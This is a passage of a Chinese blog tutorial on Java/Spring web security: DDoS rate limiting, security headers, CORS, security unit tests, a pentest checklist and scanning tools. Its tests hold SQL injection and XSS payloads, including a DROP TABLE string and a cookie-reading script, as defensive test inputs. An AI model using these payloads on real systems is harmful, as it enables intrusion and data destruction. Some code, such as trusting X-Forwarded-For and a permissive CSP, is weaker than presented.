7.7 流量清洗与CDN防护

/**
 * CDN/高防IP配置参考
 */
@Configuration
public class CdnProtectionConfig {
    
    /**
     * 配置可信代理
     */
    @Bean
    public RemoteIpFilter remoteIpFilter() {
        RemoteIpFilter filter = new RemoteIpFilter();
        
        // 设置CDN/高防IP的网段
        filter.setInternalProxies("10\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}|" +
            "192\\.168\\.\\d{1,3}\\.\\d{1,3}|" +
            "172\\.(1[6-9]|2\\d|3[01])\\.\\d{1,3}\\.\\d{1,3}");
        
        // CDN节点IP段(以阿里云CDN为例)
        filter.setTrustedProxies("100\\.104\\.\\d{1,3}\\.\\d{1,3}|" +
            "101\\.89\\.\\d{1,3}\\.\\d{1,3}");
        
        // 设置真实IP头
        filter.setRemoteIpHeader("X-Forwarded-For");
        filter.setProtocolHeader("X-Forwarded-Proto");
        
        return filter;
    }
}

7.8 DDoS防护配置参考

# application-ddos-protection.yml

ddos:
  protection:
    # IP限流配置
    ip-rate-limit:
      enabled: true
      qps: 10
      daily: 10000
      
    # 接口限流配置
    api-rate-limit:
      enabled: true
      rules:
        - path: /api/login
          qps: 5
          burst: 10
        - path: /api/search
          qps: 30
          burst: 50
          
    # 全局限流配置
    global-rate-limit:
      enabled: true
      max-qps: 10000
      max-connections: 50000
      
    # IP信誉配置
    reputation:
      enabled: true
      threshold: 60
      blacklist-threshold: 30
      
    # CC攻击防护
    cc-defense:
      enabled: true
      threshold: 50
      block-threshold: 100
      
    # 黑名单配置
    blacklist:
      temp-duration: 300
      cleanup-cron: "0 0 2 * * ?"

# Nginx配置参考
nginx:
  config: |
    # 限制请求速率
    limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
    limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
    
    # 限制并发连接
    limit_conn_zone $binary_remote_addr zone=addr:10m;
    limit_conn addr 100;
    
    # 超时设置
    client_body_timeout 10s;
    client_header_timeout 10s;
    keepalive_timeout 15s;

7.9 DDoS监控与告警

/**
 * DDoS监控服务
 */
@Service
@Slf4j
public class DdosMonitorService {
    
    @Autowired
    private RedisTemplate<String, String> redisTemplate;
    
    @Autowired
    private AlertService alertService;
    
    // 监控阈值
    private static final long QPS_ALERT_THRESHOLD = 5000;
    private static final long CONNECTION_ALERT_THRESHOLD = 30000;
    private static final int BLACKLIST_ALERT_THRESHOLD = 100;
    
    /**
     * 定期监控指标
     */
    @Scheduled(fixedRate = 5000) // 每5秒执行
    public void monitorMetrics() {
        // 监控QPS
        monitorQps();
        
        // 监控连接数
        monitorConnections();
        
        // 监控黑名单数量
        monitorBlacklistSize();
        
        // 监控异常流量
        monitorAbnormalTraffic();
    }
    
    private void monitorQps() {
        String key = "metrics:qps:current";
        String value = redisTemplate.opsForValue().get(key);
        long currentQps = value != null ? Long.parseLong(value) : 0;
        
        if (currentQps > QPS_ALERT_THRESHOLD) {
            alertService.sendAlert(
                AlertLevel.HIGH,
                "DDoS攻击预警",
                String.format("当前QPS异常: %d (阈值: %d)", currentQps, QPS_ALERT_THRESHOLD)
            );
        }
    }
    
    private void monitorConnections() {
        String key = "metrics:connections:current";
        String value = redisTemplate.opsForValue().get(key);
        long currentConnections = value != null ? Long.parseLong(value) : 0;
        
        if (currentConnections > CONNECTION_ALERT_THRESHOLD) {
            alertService.sendAlert(
                AlertLevel.HIGH,
                "连接数异常",
                String.format("当前连接数异常: %d (阈值: %d)", 
                    currentConnections, CONNECTION_ALERT_THRESHOLD)
            );
        }
    }
    
    private void monitorBlacklistSize() {
        String key = "blacklist:ip:*";
        Set<String> keys = redisTemplate.keys(key);
        int blacklistSize = keys != null ? keys.size() : 0;
        
        if (blacklistSize > BLACKLIST_ALERT_THRESHOLD) {
            alertService.sendAlert(
                AlertLevel.MEDIUM,
                "黑名单数量异常",
                String.format("当前黑名单IP数量: %d (阈值: %d)", 
                    blacklistSize, BLACKLIST_ALERT_THRESHOLD)
            );
        }
    }
    
    private void monitorAbnormalTraffic() {
        // 检查Top 10 IP的请求量
        String topIpKey = "metrics:top_ips";
        Map<Object, Object> topIps = redisTemplate.opsForHash().entries(topIpKey);
        
        for (Map.Entry<Object, Object> entry : topIps.entrySet()) {
            String ip = (String) entry.getKey();
            long requestCount = Long.parseLong((String) entry.getValue());
            
            // 单个IP请求量异常
            if (requestCount > 1000) {
                alertService.sendAlert(
                    AlertLevel.MEDIUM,
                    "IP请求量异常",
                    String.format("IP %s 请求量异常: %d次/分钟", ip, requestCount)
                );
            }
        }
    }
    
    /**
     * 获取监控面板数据
     */
    public DdosDashboard getDashboard() {
        DdosDashboard dashboard = new DdosDashboard();
        
        dashboard.setCurrentQps(getCurrentQps());
        dashboard.setCurrentConnections(getCurrentConnections());
        dashboard.setBlacklistSize(getBlacklistSize());
        dashboard.setTopIps(getTopIps(10));
        dashboard.setAttackHistory(getRecentAttacks());
        
        return dashboard;
    }
    
    private long getCurrentQps() {
        String value = redisTemplate.opsForValue().get("metrics:qps:current");
        return value != null ? Long.parseLong(value) : 0;
    }
    
    private long getCurrentConnections() {
        String value = redisTemplate.opsForValue().get("metrics:connections:current");
        return value != null ? Long.parseLong(value) : 0;
    }
    
    private int getBlacklistSize() {
        Set<String> keys = redisTemplate.keys("blacklist:ip:*");
        return keys != null ? keys.size() : 0;
    }
    
    private List<TopIpInfo> getTopIps(int limit) {
        String key = "metrics:top_ips";
        Map<Object, Object> entries = redisTemplate.opsForHash().entries(key);
        
        return entries.entrySet().stream()
            .sorted(Map.Entry.<Object, Object>comparingByValue().reversed())
            .limit(limit)
            .map(e -> new TopIpInfo((String) e.getKey(), 
                Long.parseLong((String) e.getValue())))
            .collect(Collectors.toList());
    }
    
    private List<AttackEvent> getRecentAttacks() {
        // 从数据库查询最近的攻击事件
        return attackEventRepository.findTop10ByOrderByTimestampDesc();
    }
    
    @Data
    public static class DdosDashboard {
        private long currentQps;
        private long currentConnections;
        private int blacklistSize;
        private List<TopIpInfo> topIps;
        private List<AttackEvent> attackHistory;
    }
    
    @Data
    @AllArgsConstructor
    public static class TopIpInfo {
        private String ip;
        private long requestCount;
    }
}

7.10 DDoS防护最佳实践

防护层级 防护措施 说明
网络层 CDN/高防IP 使用云服务商的DDoS防护服务
网络层 流量清洗 部署流量清洗设备
传输层 SYN Cookie 启用操作系统SYN Cookie
传输层 连接限制 限制单IP并发连接数
应用层 限流策略 多层限流(IP/接口/全局)
应用层 IP信誉 基于行为的智能防护
应用层 验证码 可疑流量触发验证码
应用层 WAF Web应用防火墙
业务层 接口优化 热点接口缓存、异步处理
业务层 降级熔断 极端情况下服务降级

推荐云服务商DDoS防护方案

云服务商 产品 防护能力
阿里云 DDoS高防IP 最高T级防护
腾讯云 DDoS高防包 最高T级防护
华为云 DDoS高防 最高T级防护
AWS Shield Advanced 自动防护
Cloudflare DDoS Protection 全球CDN+防护

八、安全架构设计

7.1 统一安全响应头

/**
 * 安全响应头过滤器
 */
@Component
@WebFilter(urlPatterns = "/*", asyncSupported = true)
public class SecurityHeaderFilter implements Filter {
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        
        HttpServletResponse httpResponse = (HttpServletResponse) response;
        
        // 1. 防止点击劫持
        httpResponse.setHeader("X-Frame-Options", "DENY");
        
        // 2. MIME类型嗅探保护
        httpResponse.setHeader("X-Content-Type-Options", "nosniff");
        
        // 3. 严格传输安全(HSTS)
        httpResponse.setHeader("Strict-Transport-Security", 
            "max-age=31536000; includeSubDomains; preload");
        
        // 4. 内容安全策略(CSP)
        httpResponse.setHeader("Content-Security-Policy", 
            "default-src 'self'; " +
            "script-src 'self' 'unsafe-inline' 'unsafe-eval'; " +
            "style-src 'self' 'unsafe-inline'; " +
            "img-src 'self' data: https:; " +
            "font-src 'self' data:; " +
            "frame-ancestors 'none'; " +
            "base-uri 'self'; " +
            "form-action 'self'");
        
        // 5. 引用策略
        httpResponse.setHeader("Referrer-Policy", 
            "strict-origin-when-cross-origin");
        
        // 6. 权限策略
        httpResponse.setHeader("Permissions-Policy", 
            "camera=(), microphone=(), geolocation=(), payment=()");
        
        // 7. 移除服务器版本信息
        httpResponse.setHeader("Server", "");
        httpResponse.setHeader("X-Powered-By", "");
        
        chain.doFilter(request, response);
    }
}

7.2 CORS安全配置

@Configuration
public class CorsConfig implements WebMvcConfigurer {
    
    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/api/**")
            // ✅ 指定允许的来源(不要使用*)
            .allowedOrigins("https://www.example.com", "https://admin.example.com")
            // ✅ 指定允许的方法
            .allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
            // ✅ 指定允许的头
            .allowedHeaders("Authorization", "Content-Type", "X-Requested-With")
            // ✅ 暴露响应头
            .exposedHeaders("X-Total-Count", "X-Page-Number")
            // ✅ 允许携带Cookie
            .allowCredentials(true)
            // ✅ 预检请求缓存时间
            .maxAge(3600);
    }
}

/**
 * 更细粒度的CORS控制
 */
@Component
public class CustomCorsFilter implements Filter {
    
    private static final Set<String> ALLOWED_ORIGINS = Set.of(
        "https://www.example.com",
        "https://admin.example.com"
    );
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        HttpServletResponse httpResponse = (HttpServletResponse) response;
        
        String origin = httpRequest.getHeader("Origin");
        
        // 动态检查来源
        if (origin != null && ALLOWED_ORIGINS.contains(origin)) {
            httpResponse.setHeader("Access-Control-Allow-Origin", origin);
            httpResponse.setHeader("Access-Control-Allow-Credentials", "true");
            httpResponse.setHeader("Access-Control-Allow-Methods", 
                "GET, POST, PUT, DELETE, OPTIONS");
            httpResponse.setHeader("Access-Control-Allow-Headers", 
                "Authorization, Content-Type, X-Requested-With");
            httpResponse.setHeader("Access-Control-Max-Age", "3600");
        }
        
        // 预检请求直接返回
        if ("OPTIONS".equalsIgnoreCase(httpRequest.getMethod())) {
            httpResponse.setStatus(HttpServletResponse.SC_OK);
            return;
        }
        
        chain.doFilter(request, response);
    }
}

7.3 接口限流

/**
 * 接口限流注解
 */
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface RateLimit {
    int limit() default 100; // 限流次数
    int timeWindow() default 60; // 时间窗口(秒)
    LimitType type() default LimitType.IP; // 限流类型
    
    enum LimitType {
        IP,      // 按IP限流
        USER,    // 按用户限流
        GLOBAL   // 全局限流
    }
}

/**
 * 限流AOP切面(基于Redis + 滑动窗口)
 */
@Aspect
@Component
public class RateLimitAspect {
    
    @Autowired
    private RedisTemplate<String, String> redisTemplate;
    
    @Around("@annotation(rateLimit)")
    public Object around(ProceedingJoinPoint point, RateLimit rateLimit) throws Throwable {
        String key = generateKey(point, rateLimit.type());
        
        // 使用滑动窗口算法
        long currentTime = System.currentTimeMillis();
        long windowStart = currentTime - rateLimit.timeWindow() * 1000L;
        
        String redisKey = "rate_limit:" + key;
        
        // 移除窗口外的记录
        redisTemplate.opsForZSet().removeRangeByScore(redisKey, 0, windowStart);
        
        // 获取当前窗口内的请求数
        Long count = redisTemplate.opsForZSet().zCard(redisKey);
        
        if (count != null && count >= rateLimit.limit()) {
            throw new TooManyRequestsException("请求过于频繁,请稍后重试");
        }
        
        // 添加当前请求
        redisTemplate.opsForZSet().add(redisKey, String.valueOf(currentTime), currentTime);
        
        // 设置过期时间
        redisTemplate.expire(redisKey, rateLimit.timeWindow(), TimeUnit.SECONDS);
        
        return point.proceed();
    }
    
    private String generateKey(ProceedingJoinPoint point, RateLimit.LimitType type) {
        String methodName = point.getSignature().toShortString();
        
        switch (type) {
            case IP:
                return getClientIp() + ":" + methodName;
            case USER:
                return SecurityUtils.getCurrentUserId() + ":" + methodName;
            case GLOBAL:
                return methodName;
            default:
                return methodName;
        }
    }
    
    private String getClientIp() {
        HttpServletRequest request = ((ServletRequestAttributes) 
            RequestContextHolder.getRequestAttributes()).getRequest();
        
        String ip = request.getHeader("X-Forwarded-For");
        if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getHeader("X-Real-IP");
        }
        if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getRemoteAddr();
        }
        
        // 多个代理时取第一个
        if (ip != null && ip.contains(",")) {
            ip = ip.split(",")[0].trim();
        }
        
        return ip;
    }
}

// 使用示例
@RestController
@RequestMapping("/api")
public class ApiController {
    
    @GetMapping("/search")
    @RateLimit(limit = 10, timeWindow = 60, type = RateLimit.LimitType.IP)
    public ResponseEntity<List<Result>> search(@RequestParam String keyword) {
        // 搜索逻辑
    }
    
    @PostMapping("/login")
    @RateLimit(limit = 5, timeWindow = 300, type = RateLimit.LimitType.IP)
    public ResponseEntity<LoginResponse> login(@RequestBody LoginRequest request) {
        // 登录逻辑
    }
}

九、安全测试指南

8.1 单元测试

/**
 * SQL注入防护测试
 */
@SpringBootTest
@AutoConfigureMockMvc
class SqlInjectionTest {
    
    @Autowired
    private MockMvc mockMvc;
    
    /**
     * 测试SQL注入防护
     */
    @ParameterizedTest
    @ValueSource(strings = {
        "' OR '1'='1",
        "'; DROP TABLE users;--",
        "1 UNION SELECT * FROM users",
        "1' AND SLEEP(5)--",
        "1' ORDER BY 1--",
        "admin'--",
        "1; WAITFOR DELAY '0:0:5'--"
    })
    void shouldBlockSqlInjection(String maliciousInput) throws Exception {
        mockMvc.perform(get("/api/users")
                .param("id", maliciousInput))
                .andExpect(status().isBadRequest())
                .andExpect(jsonPath("$.code").value("INVALID_INPUT"));
    }
    
    /**
     * 测试正常输入
     */
    @Test
    void shouldAcceptValidInput() throws Exception {
        mockMvc.perform(get("/api/users")
                .param("id", "123"))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.id").value(123));
    }
}

/**
 * XSS防护测试
 */
@SpringBootTest
@AutoConfigureMockMvc
class XssProtectionTest {
    
    @Autowired
    private MockMvc mockMvc;
    
    @ParameterizedTest
    @ValueSource(strings = {
        "<script>alert('xss')</script>",
        "<img src=x onerror=alert(1)>",
        "javascript:alert(document.cookie)",
        "<svg onload=alert(1)>",
        "<body onload=alert(1)>",
        "';alert(String.fromCharCode(88,83,83))//",
        "<iframe src=\"javascript:alert(1)\">",
        "\"><script>alert(1)</script>"
    })
    void shouldSanitizeXssInput(String maliciousInput) throws Exception {
        mockMvc.perform(post("/api/comments")
                .content("{\"content\":\"" + maliciousInput + "\"}")
                .contentType(MediaType.APPLICATION_JSON))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.content").value(not(containsString("<script>"))))
                .andExpect(jsonPath("$.content").value(not(containsString("onerror"))));
    }
}

/**
 * CSRF防护测试
 */
@SpringBootTest
@AutoConfigureMockMvc
class CsrfProtectionTest {
    
    @Autowired
    private MockMvc mockMvc;
    
    @Test
    void shouldRejectRequestWithoutCsrfToken() throws Exception {
        mockMvc.perform(post("/api/orders")
                .content("{\"productId\":1,\"quantity\":1}")
                .contentType(MediaType.APPLICATION_JSON))
                .andExpect(status().isForbidden());
    }
    
    @Test
    void shouldAcceptRequestWithValidCsrfToken() throws Exception {
        MvcResult result = mockMvc.perform(get("/api/csrf-token"))
                .andExpect(status().isOk())
                .andReturn();
        
        String csrfToken = result.getResponse().getContentAsString();
        
        mockMvc.perform(post("/api/orders")
                .header("X-CSRF-TOKEN", csrfToken)
                .content("{\"productId\":1,\"quantity\":1}")
                .contentType(MediaType.APPLICATION_JSON))
                .andExpect(status().isOk());
    }
}

/**
 * 文件上传安全测试
 */
@SpringBootTest
@AutoConfigureMockMvc
class FileUploadSecurityTest {
    
    @Autowired
    private MockMvc mockMvc;
    
    @Test
    void shouldRejectMaliciousFileExtension() throws Exception {
        MockMultipartFile file = new MockMultipartFile(
            "file", "shell.php", "application/octet-stream", "malicious content".getBytes()
        );
        
        mockMvc.perform(multipart("/api/upload").file(file))
                .andExpect(status().isBadRequest())
                .andExpect(jsonPath("$.code").value("INVALID_FILE_TYPE"));
    }
    
    @Test
    void shouldRejectFileWithMismatchedMagicNumber() throws Exception {
        // 声称是PNG但实际不是
        MockMultipartFile file = new MockMultipartFile(
            "file", "image.png", "image/png", "not a real png".getBytes()
        );
        
        mockMvc.perform(multipart("/api/upload").file(file))
                .andExpect(status().isBadRequest())
                .andExpect(jsonPath("$.code").value("FILE_TYPE_MISMATCH"));
    }
    
    @Test
    void shouldRejectOversizedFile() throws Exception {
        byte[] largeContent = new byte[11 * 1024 * 1024]; // 11MB
        MockMultipartFile file = new MockMultipartFile(
            "file", "large.jpg", "image/jpeg", largeContent
        );
        
        mockMvc.perform(multipart("/api/upload").file(file))
                .andExpect(status().isBadRequest())
                .andExpect(jsonPath("$.code").value("FILE_TOO_LARGE"));
    }
}

/**
 * 越权访问测试
 */
@SpringBootTest
@AutoConfigureMockMvc
class AuthorizationTest {
    
    @Autowired
    private MockMvc mockMvc;
    
    @Test
    @WithMockUser(roles = "USER")
    void shouldDenyAdminAccessForNormalUser() throws Exception {
        mockMvc.perform(get("/api/admin/users"))
                .andExpect(status().isForbidden());
    }
    
    @Test
    @WithMockUser(username = "user1", roles = "USER")
    void shouldDenyAccessToOtherUserResource() throws Exception {
        // user1尝试访问user2的资源
        mockMvc.perform(get("/api/users/2/orders"))
                .andExpect(status().isForbidden());
    }
    
    @Test
    @WithMockUser(username = "user1", roles = "USER")
    void shouldAllowAccessToOwnResource() throws Exception {
        mockMvc.perform(get("/api/users/1/orders"))
                .andExpect(status().isOk());
    }
}

8.2 集成测试

/**
 * 安全集成测试
 */
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
@Testcontainers
class SecurityIntegrationTest {
    
    @Container
    static PostgreSQLContainer<?> postgres = new PostgreSQLContainer<>("postgres:15")
            .withDatabaseName("testdb")
            .withUsername("test")
            .withPassword("test");
    
    @Container
    static GenericContainer<?> redis = new GenericContainer<>("redis:7")
            .withExposedPorts(6379);
    
    @LocalServerPort
    private int port;
    
    private TestRestTemplate restTemplate;
    
    @BeforeEach
    void setUp() {
        restTemplate = new TestRestTemplate();
    }
    
    @Test
    void testFullAuthenticationFlow() {
        // 1. 登录获取Token
        LoginRequest loginRequest = new LoginRequest("user1", "password1");
        ResponseEntity<LoginResponse> loginResponse = restTemplate.postForEntity(
            "http://localhost:" + port + "/api/auth/login",
            loginRequest,
            LoginResponse.class
        );
        
        assertThat(loginResponse.getStatusCode()).isEqualTo(HttpStatus.OK);
        String token = loginResponse.getBody().getToken();
        
        // 2. 使用Token访问受保护资源
        HttpHeaders headers = new HttpHeaders();
        headers.setBearerAuth(token);
        
        ResponseEntity<UserProfile> profileResponse = restTemplate.exchange(
            "http://localhost:" + port + "/api/users/me",
            HttpMethod.GET,
            new HttpEntity<>(headers),
            UserProfile.class
        );
        
        assertThat(profileResponse.getStatusCode()).isEqualTo(HttpStatus.OK);
        assertThat(profileResponse.getBody().getUsername()).isEqualTo("user1");
    }
    
    @Test
    void testRateLimiting() {
        // 测试限流
        for (int i = 0; i < 10; i++) {
            restTemplate.getForEntity(
                "http://localhost:" + port + "/api/public/search?keyword=test",
                String.class
            );
        }
        
        // 第11次请求应该被限流
        ResponseEntity<String> response = restTemplate.getForEntity(
            "http://localhost:" + port + "/api/public/search?keyword=test",
            String.class
        );
        
        assertThat(response.getStatusCode()).isEqualTo(HttpStatus.TOO_MANY_REQUESTS);
    }
}

8.3 渗透测试清单

## 安全测试清单

### 注入漏洞
- [ ] SQL注入(GET/POST/Cookie/HTTP Header)
- [ ] NoSQL注入(MongoDB、Redis)
- [ ] 命令注入
- [ ] LDAP注入
- [ ] XPath注入
- [ ] 表达式注入(SpEL、OGNL)

### 认证与授权
- [ ] 暴力破解防护
- [ ] 会话管理(Session固定、超时、注销)
- [ ] 密码策略(强度、加密存储)
- [ ] 多因素认证
- [ ] 水平/垂直越权
- [ ] JWT安全

### 文件处理
- [ ] 文件上传绕过
- [ ] 目录遍历
- [ ] 文件包含

### 客户端攻击
- [ ] XSS(反射型/存储型/DOM型)
- [ ] CSRF
- [ ] 点击劫持
- [ ] 开放重定向

### 服务端攻击
- [ ] SSRF
- [ ] XXE
- [ ] 反序列化
- [ ] 信息泄露

### 业务逻辑
- [ ] 竞态条件
- [ ] 金额篡改
- [ ] 重放攻击
- [ ] 流程绕过

十、安全检测工具

9.1 静态应用安全测试(SAST)

工具 类型 说明
SonarQube 开源/商业 代码质量和安全漏洞检测
SpotBugs + FindSecBugs 开源 Java字节码分析
Checkmarx 商业 企业级SAST工具
Fortify 商业 Micro Focus安全扫描
Semgrep 开源 轻量级代码扫描

Maven集成SpotBugs

<plugin>
    <groupId>com.github.spotbugs</groupId>
    <artifactId>spotbugs-maven-plugin</artifactId>
    <version>4.7.3.6</version>
    <configuration>
        <effort>Max</effort>
        <threshold>Low</threshold>
        <xmlOutput>true</xmlOutput>
        <plugins>
            <plugin>
                <groupId>com.h3xstream.findsecbugs</groupId>
                <artifactId>findsecbugs-plugin</artifactId>
                <version>1.12.0</version>
            </plugin>
        </plugins>
    </configuration>
</plugin>

9.2 动态应用安全测试(DAST)

工具 类型 说明
OWASP ZAP 开源 Web应用安全扫描器
Burp Suite 商业 最流行的Web安全测试工具
Nessus 商业 漏洞扫描器
Nikto 开源 Web服务器扫描器

9.3 依赖组件扫描

工具 类型 说明
OWASP Dependency-Check 开源 Maven/Gradle插件
Snyk 商业/免费 依赖漏洞扫描
GitHub Dependabot 免费 自动依赖更新
Renovate 开源 自动依赖更新

9.4 容器安全扫描

工具 类型 说明
Trivy 开源 容器镜像漏洞扫描
Clair 开源 容器静态分析
Anchore 开源/商业 容器安全平台

9.5 CI/CD安全集成

# .github/workflows/security.yml
name: Security Scan

on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    
    steps:
      - uses: actions/checkout@v4
      
      - name: Set up JDK 17
        uses: actions/setup-java@v3
        with:
          java-version: '17'
          distribution: 'temurin'
      
      - name: Run OWASP Dependency-Check
        run: mvn org.owasp:dependency-check-maven:check
      
      - name: Run SpotBugs
        run: mvn spotbugs:check
      
      - name: Run SonarQube Scan
        uses: sonarcloud/sonarcloud-github-action@master
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
      
      - name: Build Docker Image
        run: docker build -t myapp:${{ github.sha }} .
      
      - name: Run Trivy Scan
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: 'myapp:${{ github.sha }}'
          format: 'sarif'
          output: 'trivy-results.sarif'

十一、漏洞应急响应

10.1 应急响应流程

发现漏洞 → 评估影响 → 制定方案 → 实施修复 → 验证测试 → 发布上线 → 复盘总结

10.2 漏洞严重等级

等级 CVSS评分 响应时间 说明
P0-致命 9.0-10.0 2小时内 远程代码执行、大规模数据泄露
P1-严重 7.0-8.9 24小时内 SQL注入、权限绕过
P2-高危 4.0-6.9 1周内 XSS、CSRF、信息泄露
P3-中危 0.1-3.9 1月内 配置问题、低风险漏洞
P4-低危 0.0 按计划修复 代码质量、最佳实践

10.3 应急响应模板

## 安全漏洞应急响应报告

### 基本信息
- **漏洞编号**:VULN-2024-001
- **发现时间**:2024-01-15 10:30:00
- **报告人**:安全团队
- **受影响系统**:用户服务 v2.3.1

### 漏洞描述
- **漏洞类型**:SQL注入
- **漏洞等级**:P1-严重
- **CVSS评分**:8.6
- **影响范围**:所有用户数据

### 漏洞详情
- **漏洞位置**:/api/users/search 接口
- **触发条件**:keyword参数未过滤
- **利用方式**:构造恶意SQL语句

### 修复方案
1. 使用PreparedStatement替代字符串拼接
2. 添加输入参数校验
3. 更新WAF规则

### 修复时间线
- **发现时间**:2024-01-15 10:30:00
- **响应时间**:2024-01-15 11:00:00
- **修复时间**:2024-01-15 14:00:00
- **验证时间**:2024-01-15 15:00:00
- **发布时间**:2024-01-15 16:00:00

### 验证结果
- [x] 单元测试通过
- [x] 安全测试通过
- [x] 渗透测试验证

### 复盘总结
- **根本原因**:开发阶段未执行安全编码规范
- **改进措施**:强制代码安全审查、集成SAST工具

附录

A. 安全编码速查表

场景 推荐做法 避免做法
SQL查询 PreparedStatement、JPA 字符串拼接、${}
HTML输出 Thymeleaf th:text th:utext、innerHTML
文件上传 白名单、魔数校验 仅检查扩展名
XML解析 禁用DTD 允许外部实体
反序列化 白名单、类型校验 反序列化不可信数据
密码存储 BCrypt、SCrypt MD5、SHA1
随机数 SecureRandom Math.random()
日志记录 脱敏处理 打印敏感信息

B. 安全配置检查清单

Spring Boot安全配置:
  server:
    error:
      include-stacktrace: never        # 不暴露堆栈
      include-message: never           # 不暴露错误消息
    servlet:
      session:
        cookie:
          http-only: true              # Cookie HttpOnly
          secure: true                 # Cookie Secure
          same-site: lax              # SameSite属性
  
  spring:
    jackson:
      serialization:
        fail-on-empty-beans: false
      deserialization:
        fail-on-unknown-properties: true  # 严格反序列化

C. 参考资源


posted @ 2026-06-07 13:27  flycloudy  阅读(3)  评论(0)    收藏  举报